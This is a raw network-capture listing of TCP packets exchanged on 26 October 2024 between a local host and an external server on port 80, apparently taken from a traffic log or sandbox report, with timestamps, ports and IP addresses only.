Oct 26, 2024 05:54:32.125435114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.177241087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.198168993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198271990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198304892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198331118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.198358059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198390007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198422909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198452950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198488951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198517084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198602915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.198708057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198720932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.198740959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198775053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.198786974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.198868036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.199759007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.199788094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.199820995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.199852943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.199853897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.199906111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.200057030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.200129032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.200158119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.200176954 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.200191975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.200225115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.200237989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.200315952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.200364113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.200364113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.236752987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.236785889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.236803055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.237087011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.286456108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.286487103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.286519051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.286551952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.286582947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.286684990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.286691904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.286745071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.359437943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359481096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359517097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359551907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359560966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.359585047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359597921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.359618902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359663963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.359802961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359834909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359880924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.359884977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359914064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359947920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.359956980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.359977007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.360018969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.361087084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.361139059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.361169100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.361193895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.361274958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.361325979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.361382961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.361412048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.361459970 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.361463070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.361498117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.361542940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.361623049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.399059057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.399101019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.399131060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.399138927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.399177074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.399185896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.442851067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.448791027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.448824883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.448880911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.448895931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.448947906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.448982954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.448997974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.449018002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.449065924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.520908117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.520941973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.520962000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.520994902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.521017075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.521044016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.521054983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.521080971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.521126986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.521126986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.521161079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.521202087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.521269083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.521302938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.521342039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.521348000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.521373034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.521416903 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.522998095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.523031950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.523067951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.523078918 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.523121119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.523156881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.523166895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.523192883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.523240089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.523386002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.523420095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.523461103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.523473978 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.560372114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.560408115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.560461044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.560472965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.560565948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.610122919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.610158920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.610239983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.610291004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.610327959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.610364914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.610364914 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.610373974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.610434055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.684185028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684221983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684257030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684284925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.684287071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684339046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684376955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684391022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.684406996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684457064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684465885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.684490919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684509993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.684525013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684559107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684575081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.684587002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684624910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684631109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.684658051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684689999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684791088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.684839010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684890985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684919119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.684961081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.684961081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.685070038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.685122967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.685151100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.685211897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.721371889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.721401930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.721560955 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.721601009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.721630096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.721699953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.771084070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.771528006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.771624088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.771680117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.771709919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.771743059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.771775007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.771775007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.771779060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.771809101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.771877050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.817935944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.977641106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.977686882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.977725983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.977799892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.977868080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.977901936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.977926970 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.977935076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.977967024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.977986097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978018045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978048086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978080034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978081942 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978113890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978143930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978177071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978187084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978187084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978209019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978243113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978255033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978311062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978343964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978375912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978420019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978420019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978426933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978461027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978493929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978523970 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978526115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978554964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978586912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978596926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978596926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978620052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978652954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978687048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978693962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.978720903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.978749037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.006712914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.006748915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.006807089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.006819010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.006850958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.006885052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.006886959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.006931067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.006963968 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.006982088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007016897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007045031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007056952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.007080078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007107019 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.007116079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007144928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007181883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.007775068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007832050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.007837057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007864952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007916927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007950068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.007956982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.007982969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.008009911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.008405924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.008477926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.008487940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.008507013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.008636951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.045020103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.045049906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.045119047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.045197964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.045227051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.045336008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.095552921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.095587015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.095619917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.095845938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.095879078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.095922947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.095922947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.146225929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.167843103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.167875051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.167898893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.167932987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.167964935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168014050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168040037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.168040037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.168050051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168057919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.168088913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168117046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168175936 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.168215990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168268919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168287039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.168318033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168373108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.168849945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168901920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168931007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.168956041 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.168982983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.169012070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.169035912 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.169114113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.169195890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.169250011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.169605970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.169639111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.169671059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.169681072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.169753075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.206564903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.206612110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.206628084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.206784010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.255522013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.256902933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.256956100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.256989956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.257020950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.257071018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.257096052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.257096052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.257097960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.257205963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.329066992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.329101086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.329150915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.329174995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.329180956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.329216003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.329250097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.329282999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:33.329297066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:33.329298019 CEST	49742	80	192.168.2.4	185.215.113.16
